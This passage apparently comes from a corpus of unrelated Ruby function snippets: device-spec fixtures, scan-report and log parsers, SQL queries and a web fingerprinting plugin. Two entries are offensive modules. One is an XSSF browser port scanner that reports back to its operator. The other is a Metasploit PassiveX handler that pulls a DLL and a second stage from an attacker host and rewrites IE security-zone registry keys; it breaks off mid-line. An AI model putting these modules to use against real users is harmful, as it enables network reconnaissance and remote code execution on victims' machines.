5\",\"general_platform\":\"\",\"general_platform_version\":\"\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[],\"general_eusar\":\"\",\"general_battery\":[],\"general_type\":\"Mobile\",\"general_cpu\":[],\"design_formfactor\":\"\",\"design_dimensions\":\"\",\"design_weight\":\"\",\"design_antenna\":\"\",\"design_keyboard\":\"\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"\",\"display_color\":\"\",\"display_colors\":\"\",\"display_size\":\"\",\"display_x\":\"176\",\"display_y\":\"160\",\"display_other\":[],\"memory_internal\":[],\"memory_slot\":[],\"network\":[],\"media_camera\":[],\"media_secondcamera\":[],\"media_videocapture\":[],\"media_videoplayback\":[],\"media_audio\":[],\"media_other\":[],\"features\":[],\"connectors\":[]}'\r\n\t\t@AppleiPhone = '{\"general_vendor\":\"Apple\",\"general_model\":\"iPhone\",\"general_platform\":\"iOS\",\"general_image\":\"apple^iphone.jpg\",\"general_aliases\":[],\"general_eusar\":\"0.97\",\"general_battery\":[\"Li-Ion 1400 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"ARM 11\",\"412Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"115 x 61 x 11.6\",\"design_weight\":\"135\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"16M\",\"display_size\":\"3.5\\\"\",\"display_x\":\"320\",\"display_y\":\"480\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Gorilla Glass\"],\"memory_internal\":[\"4GB\",\"8GB\",\"16GB RAM\"],\"memory_slot\":[],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"Bluetooth 2.0\",\"802.11b\",\"802.11g\",\"GPRS\",\"EDGE\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[],\"media_videoplayback\":[\"MPEG4\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"WAV\"],\"media_other\":[],\"features\":[\"Unlimited entries\",\"Multiple numbers per contact\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"Timer\",\"Stopwatch\",\"Computer sync\",\"OTA sync\",\"Polyphonic ringtones\",\"Vibration\",\"Phone profiles\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice recording\",\"Light sensor\",\"Proximity sensor\",\"SMS\",\"Threaded viewer\",\"Email\",\"Google Maps\",\"Audio/video player\",\"Games\"],\"connectors\":[\"USB\",\"3.5mm Headphone\",\"TV Out\"],\"general_platform_version\":\"1.x\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_language\":\"\"}'\r\n\t\t@SonyEricssonX10I = '{\"general_vendor\":\"SonyEricsson\",\"general_model\":\"X10I\",\"general_platform\":\"Android\",\"general_platform_version\":\"1.6\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"SonyEricsson Xperia X10\",\"SonyEricsson X10\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Po 1500 mAh\",\"BST-41\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"1000Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"119 x 63 x 13\",\"design_weight\":\"135\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Volume\",\"Camera\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"65K\",\"display_size\":\"4\\\"\",\"display_x\":\"480\",\"display_y\":\"854\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"1GB\",\"384MB RAM\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"8GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS1700\",\"UMTS2100\",\"HSDPA900\",\"HSDPA1700\",\"HSDPA2100\",\"Bluetooth 2.1\",\"802.11b\",\"802.11g\",\"GPRS Class 10\",\"EDGE Class 10\"],\"media_camera\":[\"8MP\",\"3264x2448\"],\"media_secondcamera\":[],\"media_videocapture\":[\"WVGA@30fps\"],\"media_videoplayback\":[\"MPEG4\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\",\"WAV\"],\"media_other\":[\"Auto focus\",\"Image stabilizer\",\"Video stabilizer\",\"Face detection\",\"Smile detection\",\"Digital zoom\",\"Geo-tagging\",\"Touch focus\",\"LED Flash\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"World clock\",\"Stopwatch\",\"Notes\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Voice recording\",\"Accelerometer\",\"Compass\",\"Timescape/Mediascape UI\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push email\",\"IM\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Facebook and Twitter integration\",\"Voice memo\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@Device_10 = '{\"Device\":{\"_id\":\"10\",\"hd_specs\":{\"general_vendor\":\"Samsung\",\"general_model\":\"SPH-A680\",\"general_platform\":\"\",\"general_platform_version\":\"\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsungsph-a680-1403617960-0.jpg\",\"general_aliases\":[\"Samsung VM-A680\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 900 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[],\"design_formfactor\":\"Clamshell\",\"design_dimensions\":\"83 x 46 x 24\",\"design_weight\":\"96\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Numeric\",\"design_softkeys\":\"2\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"65K\",\"display_size\":\"\",\"display_x\":\"128\",\"display_y\":\"160\",\"display_other\":[\"Second External TFT\"],\"memory_internal\":[],\"memory_slot\":[],\"network\":[\"CDMA800\",\"CDMA1900\",\"AMPS800\"],\"media_camera\":[\"VGA\",\"640x480\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[],\"media_audio\":[],\"media_other\":[\"Exposure control\",\"White balance\",\"Multi shot\",\"Self-timer\",\"LED Flash\"],\"features\":[\"300 entries\",\"Multiple numbers per contact\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"To-Do\",\"Calculator\",\"Stopwatch\",\"SMS\",\"T9\",\"Computer sync\",\"Polyphonic ringtones (32 voices)\",\"Vibration\",\"Voice dialing (Speaker independent)\",\"Voice recording\",\"TTY\\/TDD\",\"Games\"],\"connectors\":[\"USB\"]}}}'\r\n\r\n\t\t@headers = Hash.new\r\n\t\t@headers['AlcatelOT-908222'] = @AlcatelOT_908222\r\n\t\t@headers['SamsungSCH-M828C'] = @SamsungSCH_M828C\r\n\t\t@headers['AlcatelOT-90822'] = @AlcatelOT_90822\r\n\t\t@headers['SamsungGT-P1000'] = @SamsungGT_P1000\r\n\t\t@headers['GenericOperaMini'] = @GenericOperaMini\r\n\t\t@headers['AppleiPhone'] = @AppleiPhone\r\n\t\t@headers['SonyEricssonX10I'] = @SonyEricssonX10I\r\n\r\n\t\t@map = Hash['h1'=>@h1, 'h2'=>@h2, 'h3'=>@h3, 'h4'=>@h4, 'h5'=>@h5, 'h6'=>@h6, 'h7'=>@h7]\r\n\r\n\t\t#@vendors = hd_remote(Configuration.get('vendors') + \".json\", \"\")\r\n\t\t#@vendor = JSON.parse(deviceVendors())\r\n\t\t#@model = JSON.parse(deviceModels('Sagem'))\r\n\t\t#@deviceView = JSON.parse(deviceView(\"Nokia\",\"N95\"))\r\n\t\t#@devicewWhatHas = JSON.parse(deviceWhatHas('network', 'CDMA'))\r\n\t\t#@fetchTrees = JSON.parse(siteFetchTrees())\r\n\t\t#@fetchSpecs = JSON.parse(siteFetchSpecs())\r\n\r\n\t\tRails::logger.debug\r\n\tend",
"def collect()\n\n filename = ARGV[0]\n puts \"[-] opening #{filename}\"\n puts\n f = File.open(filename, \"r\") # user input\n\n\n f.each_with_index do |line, index|\n\t # don't do any of this if the line is nil\n\t if line != nil then\n vuln = line.split('|')\n\t\t # Time Stamps had a array length of 4 and we dont really \n\t\t # care to see timestamps\n\t\t # We want only results\n\t\t # In some cases the results provided no information and the\n\t\t # second line was blank so we got rid of them\n\t\t if vuln.size > 4 && vuln[0] == 'results' && vuln[1] != '' then\n\n type = vuln[TYPE]\n port = vuln[PORT]\n descriptions = vuln[DESCRIPTION].split(\"\\\\n\")\n number = vuln[NUMBER]\n ip = vuln[IP]\n \n # Check if the user wants this result logged\n if log_result?(type) \n\n\t\t\t # Add the ip address to the findings hash and use\n\t\t\t # the result number as the key\n if !$findings[number][port].include?(ip) \n if $onlyip.length > 1\n if $onlyip == ip then\n\t\t\t $findings[number][port].push(ip)\n end\n else\n\t\t\t $findings[number][port].push(ip)\n end\n end\n \n\t \t\t # Store descriptions once in a seperate hash\n descriptions.each do | line |\n line.gsub!(\"\\\\r\", \" \")\n end\n\n # Log what type of vulnerability this is for display\n # later\n log_type(type)\n \n\t \t\t\tinfo = [type, descriptions]\n if !$descriptions[number][info][port].include?(ip)\n\t\t \t\t $descriptions[number][info][port].push(ip)\n end\n end\n\t\t end\n\t end\n end \nend",
"def fetchdtls(hname)\n joup=analyze(hname)\n puts \"<table border=\\\"1\\\" style=\\\"border-spacing: 0px;float: left;margin: 8px; table-layout:fixed;font-family: monospace;\\\">\"\n puts \"<td colspan=\\\"3\\\" style=\\\"text-align: center; font-size: 25px; background-color: #f1c40f; color: #0c2c40;\\\"><a href=\\\"https://www.ssllabs.com/ssltest/analyze.html?d=#{hname}&hideResults=on\\\" target=\\\"_blank\\\">#{hname}</a></td>\"\n puts \"<tr><th style=\\\"background-color: #041317; color: #F2F2F2; font-size: 14px; font-family: sans-serif; padding: 6px 2px;\\\">IP</th><th style=\\\"background-color: #041317; color: #F2F2F2; font-size: 14px; font-family: sans-serif; padding: 6px 2px;\\\">Grade</th><th style=\\\"background-color: #041317; color: #F2F2F2; font-size: 14px; font-family: sans-serif; padding: 6px 2px;\\\">Warnings</th></tr>\"\n\n joup[\"endpoints\"].each_index do |i|\n puts \"<tr>\"\n puts \"<td style=\\\"text-align: center; padding: 15px 8px; font-size:12px; background-color: #0c2c40; color: #f1c40f; font-weight: bold; word-wrap: break-word;\\\">\" + joup['endpoints'][i]['ipAddress'] + \"</td>\"\n puts \"<td style=\\\"text-align: center; padding: 15px 8px; font-size:38px; background-color: #0c2c40; color: #f1c40f; word-wrap: break-word;\\\">\" + joup['endpoints'][i]['grade'] + \"</td>\"\n\t\tif joup[\"endpoints\"][i][\"hasWarnings\"]\n\t\t\tputs \"<td style=\\\"text-align: center; padding: 15px 8px; font-size:12px; background-color: #0c2c40; color: #f1c40f; word-wrap: break-word;\\\">\"\n\t\t\tgetwarnings(hname, joup['endpoints'][i]['ipAddress'])\n\t\t puts \"</td>\"\n\t\telse\n\t\t\tputs \"<td style=\\\"text-align: center; padding: 15px 8px; font-size:12px; background-color: #0c2c40; color: #f1c40f; word-wrap: break-word; max-width: 100px;\\\">We do not have any warnings</td>\"\n\n\t\tend\n end\n puts \"</tr>\"\nend",
"def url_visit\n par = case $url.upcase\n when \"LMX\" then \"https://www.linio.com.mx\"\n when \"LCO\" then \"https://www.linio.com.co\"\n when \"LCL\" then \"https://www.linio.cl\"\n when \"LVE\" then \"https://www.linio.com.ve\"\n when \"LAR\" then \"https://www.linio.com.ar\"\n when \"LEC\" then \"https://www.linio.com.ec\"\n when \"LPA\" then \"https://www.linio.com.pa\" \n when \"LPE\" then \"https://www.linio.com.pe\" \n when \"HPMX\" then \"https://www.hponline.com.mx\"\n when \"HPCL\" then \"https://www.hponline.cl\"\n when \"WLCP\" then \"https://tienda.clubpremier.com\"\n when \"AVCO\" then \"http://co.catalog.lifemiles.com/\"\n when \"AVPE\" then \"http://pe.catalog.lifemiles.com/\"\n#batman\n when \"A01_MX\" then \"http://#{$user_alice01}:#{$pass_alice01}@alice01-mx.linio-staging.com\"\n when \"A01_CO\" then \"http://#{$user_alice01}:#{$pass_alice01}@alice01-co.linio-staging.com\"\n when \"A01_CL\" then \"http://#{$user_alice01}:#{$pass_alice01}@alice01-cl.linio-staging.com\"\n when \"A01_VE\" then \"http://#{$user_alice01}:#{$pass_alice01}@alice01-ve.linio-staging.com\"\n when \"A01_AR\" then \"http://#{$user_alice01}:#{$pass_alice01}@alice01-ar.linio-staging.com\"\n when \"A01_EC\" then \"http://#{$user_alice01}:#{$pass_alice01}@alice01-ec.linio-staging.com\"\n when \"A01_PA\" then \"http://#{$user_alice01}:#{$pass_alice01}@alice01-pa.linio-staging.com\" \n when \"A01_PE\" then \"http://#{$user_alice01}:#{$pass_alice01}@alice01-pe.linio-staging.com\" \n #cobra\n when \"A02_MX\" then \"http://#{$user_alice02}:#{$pass_alice02}@alice02-mx.linio-staging.com\"\n when \"A02_CO\" then \"http://#{$user_alice02}:#{$pass_alice02}@alice02-co.linio-staging.com\"\n when \"A02_CL\" then \"http://#{$user_alice02}:#{$pass_alice02}@alice02-cl.linio-staging.com\"\n when \"A02_VE\" then \"http://#{$user_alice02}:#{$pass_alice02}@alice02-ve.linio-staging.com\"\n when \"A02_AR\" then \"http://#{$user_alice02}:#{$pass_alice02}@alice02-ar.linio-staging.com\"\n when \"A02_EC\" then \"http://#{$user_alice02}:#{$pass_alice02}@alice02-ec.linio-staging.com\"\n when \"A02_PA\" then \"http://#{$user_alice02}:#{$pass_alice02}@alice02-pa.linio-staging.com\" \n when \"A02_PE\" then \"http://#{$user_alice02}:#{$pass_alice02}@alice02-pe.linio-staging.com\" \n #mobile\n when \"A03_MX\" then \"http://#{$user_alice03}:#{$pass_alice03}@alice03-mx.linio-staging.com\"\n when \"A03_CO\" then \"http://#{$user_alice03}:#{$pass_alice03}@alice03-co.linio-staging.com\"\n when \"A03_CL\" then \"http://#{$user_alice03}:#{$pass_alice03}@alice03-cl.linio-staging.com\"\n when \"A03_VE\" then \"http://#{$user_alice03}:#{$pass_alice03}@alice03-ve.linio-staging.com\"\n when \"A03_AR\" then \"http://#{$user_alice03}:#{$pass_alice03}@alice03-ar.linio-staging.com\"\n when \"A03_EC\" then \"http://#{$user_alice03}:#{$pass_alice03}@alice03-ec.linio-staging.com\"\n when \"A03_PA\" then \"http://#{$user_alice03}:#{$pass_alice03}@alice03-pa.linio-staging.com\" \n when \"A03_PE\" then \"http://#{$user_alice03}:#{$pass_alice03}@alice03-pe.linio-staging.com\" \n #shop-launch\n when \"A04_MX\" then \"http://#{$user_alice04}:#{$pass_alice04}@alice04-mx.linio-staging.com\"\n when \"A04_CO\" then \"http://#{$user_alice04}:#{$pass_alice04}@alice04-co.linio-staging.com\"\n when \"A04_CL\" then \"http://#{$user_alice04}:#{$pass_alice04}@alice04-cl.linio-staging.com\"\n when \"A04_VE\" then \"http://#{$user_alice04}:#{$pass_alice04}@alice04-ve.linio-staging.com\"\n when \"A04_AR\" then \"http://#{$user_alice04}:#{$pass_alice04}@alice04-ar.linio-staging.com\"\n when \"A04_EC\" then \"http://#{$user_alice04}:#{$pass_alice04}@alice04-ec.linio-staging.com\"\n when \"A04_PA\" then \"http://#{$user_alice04}:#{$pass_alice04}@alice04-pa.linio-staging.com\" \n when \"A04_PE\" then \"http://#{$user_alice04}:#{$pass_alice04}@alice04-pe.linio-staging.com\" \n\n when \"A06_MX\" then \"https://#{$user_alice06}:#{$pass_alice06}@shop-front06-mx.linio-staging.com\"\n when \"A06_EC\" then \"https://#{$user_alice06}:#{$pass_alice06}@shop-front06-ec.linio-staging.com\"\n when \"A06_CL\" then \"https://#{$user_alice06}:#{$pass_alice06}@shop-front06-cl.linio-staging.com\"\n when \"A06_CO\" then \"https://#{$user_alice06}:#{$pass_alice06}@shop-front06-co.linio-staging.com\"\n when \"A06_PA\" then \"https://#{$user_alice06}:#{$pass_alice06}@shop-front06-pa.linio-staging.com\"\n when \"A06_PE\" then \"https://#{$user_alice06}:#{$pass_alice06}@shop-front06-pe.linio-staging.com\"\n when \"A06_AR\" then \"https://#{$user_alice06}:#{$pass_alice06}@shop-front06-ar.linio-staging.com\"\n \n else \"Error country\"\n end\n return par\nrescue\n puts \"Error\"\nend",
"def parseLog log_name\n\tlog_file = File.open(log_name, \"r\")\n\tcount = 1\n\tfor line in log_file\n\t\tfields = (line.scan LOG_REGEX)[0]\n\t\tsource_addr = fields[0]\n\t\tpayload = fields[4]\n\t\thttp_code = fields[5].to_i\n\t\t# Check if nmap is named\n\t\tif line =~ /\\bnmap\\b/i\n\t\t\tputs \"#{count}. ALERT: NMAP scan is detected from #{source_addr} (HTTP) (#{payload})!\"\n\t\t\tcount += 1\n\t\tend\n\t\t# Check whether code was in error range (400s)\n\t\tif http_code / 100 == 4\n\t\t\tputs \"#{count}. ALERT: HTTP error is detected from #{source_addr} (HTTP) (#{payload})!\"\n\t\t\tcount += 1\n\t\tend\n\t\t# Check both that a shellcode pattern is found, and that a command is attempted\n\t\tif payload =~ SHELL_REGEX and payload =~ REMOTE_REGEX\n\t\t\tputs \"#{count}. ALERT: Shellcode attack is detected from #{source_addr} (HTTP) (#{payload})!\"\n\t\t\tcount += 1\n\t\tend\n\tend\n\tlog_file.close\nend",
"def view_missing_fields\n\n # Update these to the proper values that you are interesting in\n student_id = 1321\n module_item_id = 3772\n course_id = 27\n module_name = 'Network Like a Pro'\n\n tag = ContentTag.where(:id => module_item_id, :context_id => course_id, :context_type => 'Course', :content_type => 'WikiPage').first\n page = WikiPage.find(tag.content_id)\n course = Course.find(course_id)\n get_the_page_id = page.id\n participation_assignment = course.assignments.active.where(:title => \"Course Participation - #{module_name}\").first\n\n puts \"### VIEWIING MISSING FIELDS IN COURSE PARTICIPATION GRADES FOR: https://portal.bebraven.org/courses/#{course_id}/pages/#{page.url}?module_item_id=#{module_item_id}\"\n\n\n user = User.find(student_id)\n puts \"### username = #{user.name}, userid = #{user.id},\"\n se = course.student_enrollments.active.where(:user_id => student_id).first\n names = {}\n missing_names = {}\n count = 0\n filled_count = 0\n selector = 'input[data-bz-retained]:not(.bz-optional-magic-field),textarea[data-bz-retained]:not(.bz-optional-magic-field)'\n page_html = page.body\n doc = Nokogiri::HTML(page_html)\n doc.css(selector).each do |o|\n n = o.attr('data-bz-retained')\n next if names[n]\n next if o.attr('type') == 'checkbox'\n names[n] = true\n count += 1\n found = RetainedData.where(:user_id => student_id, :name => n) \n filled_count += 1 if found.any?\n missing_names[n] = true if !found.any?\n end\n\n puts \"### names = #{names.inspect}, missing_names = #{missing_names.inspect}\"\n\nend",
"def on_request_uri(cli, req)\n\t\tcode = %Q{\n\t\t\tvar ip \t\t\t= '#{datastore['IP']}';\n\t\t\tvar start_port \t= #{datastore['startPort']};\n\t\t\tvar end_port \t= #{datastore['endPort']};\n\n\t\t\tvar current_port\t= 0;\n\t\t\tvar ps_open_ports\t= [];\n\t\t\tvar ps_closed_ports\t= [];\n\t\t\tvar ps_timeout_ports= [];\n\t\t\tvar blocked_ports \t= [0,1,7,9,11,13,15,17,19,20,21,22,23,25,37,42,43,53,77,79,87,95,101,102,103,104,109,110,111,113,115,117,119,123,135,139,143,179,389,465,512,513,514,515,526,530,531,532,540,556,563,587,601,636,993,995,2049,4045,6000];\n\t\t\tvar open_port_max\t= 300;\n\t\t\tvar closed_port_max\t= 2000;\n\t\t\tvar start_time;\n\t\t\n\t\t\tfunction scan_ports_xhr()\n\t\t\t{\n\t\t\t\tif(init_port_ps())\n\t\t\t\t{\n\t\t\t\t\tXSSF_POST(\"Host '#{datastore['IP']}' (Ports '#{datastore['startPort']}' to '#{datastore['endPort']}')\\\\n\\\\nOpened Ports:\\\\n\" + ps_open_ports.join(',\\\\n') + \"\\\\n\\\\nClosed/Blocked Ports:\\\\n\" + ps_closed_ports.join(',\\\\n') + \"\\\\n\\\\nFiltered/Application Type 3&4 Ports:\\\\n\" + ps_timeout_ports.join(',\\\\n'), '#{self.name}');\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tif(is_blocked(current_port))\n\t\t\t\t{\n\t\t\t\t setTimeout(\"scan_ports_xhr()\", 1);\n\t\t\t\t return;\n\t\t\t\t}\n\t\t\t\tstart_time = (new Date).getTime();\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tXSSF_XHR.open('GET', \"http://\" + ip + \":\" + current_port);\n\t\t\t\t\tXSSF_XHR.send();\n\t\t\t\t\tsetTimeout(\"check_ps_xhr()\", 5);\n\t\t\t\t}\n\t\t\t\tcatch(err)\n\t\t\t\t{\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\tfunction init_port_ps()\n\t\t\t{\n\t\t\t\tif(current_port == 0)\t\t\t\t\tcurrent_port = start_port;\n\t\t\t\telse if(current_port == end_port)\t\treturn true;\n\t\t\t\telse\t\t\t\t\t\t\t\t\tcurrent_port++;\n\n\t\t\t\treturn false;\n\t\t\t}\n\t\n\t\t\tfunction is_blocked(port_no)\n\t\t\t{\n\t\t\t\tfor(var i = 0; i < blocked_ports.length; i++)\n\t\t\t\t\tif(blocked_ports[i] == port_no)\n\t\t\t\t\t\treturn true;\n\n\t\t\t\treturn false;\n\t\t\t}\n\t\n\t\t\tfunction check_ps_xhr()\n\t\t\t{\n\t\t\t\tvar interval = (new Date).getTime() - start_time;\n\t\t\t\tif(XSSF_XHR.readyState == 1)\n\t\t\t\t{\n\t\t\t\t\tif(interval > closed_port_max) {\n\t\t\t\t\t\tps_timeout_ports.push(current_port);\n\t\t\t\t\t\tsetTimeout(\"scan_ports_xhr()\", 1);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tsetTimeout(\"check_ps_xhr()\", 5);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif(interval < open_port_max)\n\t\t\t\t\t\tps_open_ports.push(current_port);\n\t\t\t\t\telse\n\t\t\t\t\t\tps_closed_ports.push(current_port);\n\n\t\t\t\t\tsetTimeout(\"scan_ports_xhr()\", 1);\n\t\t\t\t}\n\t\t\t}\n\t\t\tsetTimeout(\"scan_ports_xhr()\", 1);\n\t\t}\n\n\t\tsend_response(cli, code)\n\tend",
"def query_vulns(nexposeId, nsc, debug)\n\n @sqlSelect = \"SELECT * FROM dim_vulnerability \"\n @sqlWhere = \"WHERE nexpose_id ILIKE '#{nexposeId}';\"\n\n @query = @sqlSelect + @sqlWhere\n debug_print(@query, debug)\n\n # Query all nexpose_id's matching the provided vulnerabilities within the vulnotify.yaml configuration file.\n @pullVulns = Nexpose::AdhocReportConfig.new(nil, 'sql')\n @pullVulns.add_filter('version', '2.0.2')\n @pullVulns.add_filter('query', @query)\n \n # Generate report to be parsed\n @pulledVulns = @pullVulns.generate(nsc,18000)\n\n # http://stackoverflow.com/questions/14199784/convert-csv-file-into-array-of-hashes\n # http://technicalpickles.com/posts/parsing-csv-with-ruby/\n # Convert the CSV report information provided by the API back into a hashed format. *Should submit an Idea to Rapid7 for JSON report output type from reports?\n @returnedVulns = CSV.parse(@pulledVulns, { :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil] }).map(&:to_hash) if @pulledVulns\n\n return @returnedVulns\nend",
"def passive\n\tm=[]\n\n\t# HTTP Server Header\n\tif @headers[\"server\"] =~ /^GR-HTTPD Server\\/([\\d\\.]+)$/\n\n\t\tm << { :certainty=>75, :name=>\"HTTP Server Header\" }\n\n\t\t# Model Detection # Title\n\t\tm << { :model=>@body.scan(/<TITLE> FITELnet-([A-Z][\\d]+) [^>]+<\\/TITLE>$/) } if @body =~ /<TITLE> FITELnet-([A-Z][\\d]+) [^>]+<\\/TITLE>$/\n\n\t\t# MAC Detection\n\t\tm << { :string=>@body.scan(/<TITLE> FITELnet-[A-Z][\\d]+ [^>]+\\(([\\da-f:]{17})\\)<\\/TITLE>$/) } if @body =~ /<TITLE> FITELnet-[A-Z][\\d]+ [^>]+\\(([\\da-f:]{17})\\)<\\/TITLE>$/\n\n\tend\n\n\t# Return passive matches\n\tm\n\nend",
"def fetch_urls\n # Crazy crazy URLs to try to find PARSE_PARAMS in Sfx4 db that have a period in\n # them, so they look like they might be URLs. Parse params could be at target service\n # level, or at portfolio level; and could be in local overrides or in global kb. \n # This is crazy crazy SQL to get this, sorry. Talking directly to SFX db isn't\n # a great idea, but best way we've found to get this for now. Might make more\n # sense to try to use the (very very slow) SFX export in the future instead. \n sql = %{\n SELECT \n COALESCE(LCL_SERVICE_LINKING_INFO.PARSE_PARAM,KB_TARGET_SERVICES.PARSE_PARAM) PARSE_PARAM\n FROM\n LCL_TARGET_INVENTORY\n JOIN sfxglb41.KB_TARGET_SERVICES\n ON KB_TARGET_SERVICES.TARGET_ID = LCL_TARGET_INVENTORY.TARGET_ID\n JOIN LCL_SERVICE_INVENTORY \n ON LCL_TARGET_INVENTORY.TARGET_ID = LCL_SERVICE_INVENTORY.TARGET_ID\n LEFT OUTER JOIN LCL_SERVICE_LINKING_INFO\n ON LCL_SERVICE_INVENTORY.TARGET_SERVICE_ID = LCL_SERVICE_LINKING_INFO.TARGET_SERVICE_ID\n WHERE\n ( LCL_SERVICE_LINKING_INFO.PARSE_PARAM like '%.%' OR\n KB_TARGET_SERVICES.PARSE_PARAM like '%.%' )\n AND\n LCL_SERVICE_INVENTORY.ACTIVATION_STATUS='ACTIVE'\n AND\n LCL_TARGET_INVENTORY.ACTIVATION_STATUS = 'ACTIVE'\n\n UNION\n -- object portfolio parse param version\n SELECT\n COALESCE(LCL_OBJECT_PORTFOLIO_LINKING_INFO.PARSE_PARAM, KB_OBJECT_PORTFOLIOS.PARSE_PARAM) PARSE_PARAM\n FROM\n sfxglb41.KB_OBJECT_PORTFOLIOS\n JOIN LCL_SERVICE_INVENTORY\n ON KB_OBJECT_PORTFOLIOS.TARGET_SERVICE_ID = LCL_SERVICE_INVENTORY.TARGET_SERVICE_ID\n JOIN LCL_OBJECT_PORTFOLIO_INVENTORY\n ON KB_OBJECT_PORTFOLIOS.OP_ID = LCL_OBJECT_PORTFOLIO_INVENTORY.OP_ID\n left outer join LCL_OBJECT_PORTFOLIO_LINKING_INFO\n ON KB_OBJECT_PORTFOLIOS.OP_ID = LCL_OBJECT_PORTFOLIO_LINKING_INFO.OP_ID \n WHERE\n ( KB_OBJECT_PORTFOLIOS.PARSE_PARAM like '%.%' OR \n LCL_OBJECT_PORTFOLIO_LINKING_INFO.PARSE_PARAM like '%.%' )\n AND LCL_OBJECT_PORTFOLIO_INVENTORY.ACTIVATION_STATUS = 'ACTIVE' \n AND LCL_SERVICE_INVENTORY.ACTIVATION_STATUS='ACTIVE'\n }\n\n results = connection.select_all(sql)\n urls = []\n results.each do |line|\n param_string = line[\"PARSE_PARAM\"]\n # Try to get things that look sort of like URLs out. Brutal force,\n # sorry. \n url_re = Regexp.new('(https?://\\S+\\.\\S+)(\\s|$)')\n urls.concat( param_string.scan( url_re ).collect {|matches| matches[0]} ) \n end \n urls.uniq!\n return urls\n end",
"def on_request(cli, req)\n\t\tsid = nil\n\t\tresp = Rex::Proto::Http::Response.new\n\n\t\t# Grab the SID if one was supplied in the request header.\n\t\tif (req['X-Sid'] and \n\t\t (m = req['X-Sid'].match(/sid=(\\d+?)/)))\n\t\t\tsid = m[1]\n\t\tend\n\n\t\t# Process the requested resource.\n\t\tcase req.relative_resource\n\t\t\twhen \"/\"\n\t\t\t\t# Get a new sid\n\t\t\t\tself.sid_pool += 1\n\t\t\t\tnsid = sid_pool\n\n\t\t\t\tresp['Content-Type'] = 'text/html'\n\t\t\t\t# natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set\n\t\t\t\t# of processes. It works, so will go ahead and commit changes and debug later to run it down.\n\t\t\t\tresp.body = %Q^<html> \n<object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}\"> \n <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\"> \n <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">\n <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\"> \n <param name=\"HttpSid\" value=\"#{nsid}\">^ + ((stage_payload) ? %Q^\n <param name=\"DownloadSecondStage\" value=\"1\">^ : \"\") + %Q^\n</object>\n<script>\nvar WshShell = new ActiveXObject(\"Wscript.Shell\");\nvar marker = true;\nvar regCheck;\nvar regRange = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\ZoneMap\\\\\\\\Ranges\\\\\\\\random\\\\\\\\\" //Can be any value\nvar regIntranet = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\1\\\\\\\\\";\n\n//Check if we've run this before.\ntry { regCheck = WshShell.RegRead(regRange + \"marker\"); } catch 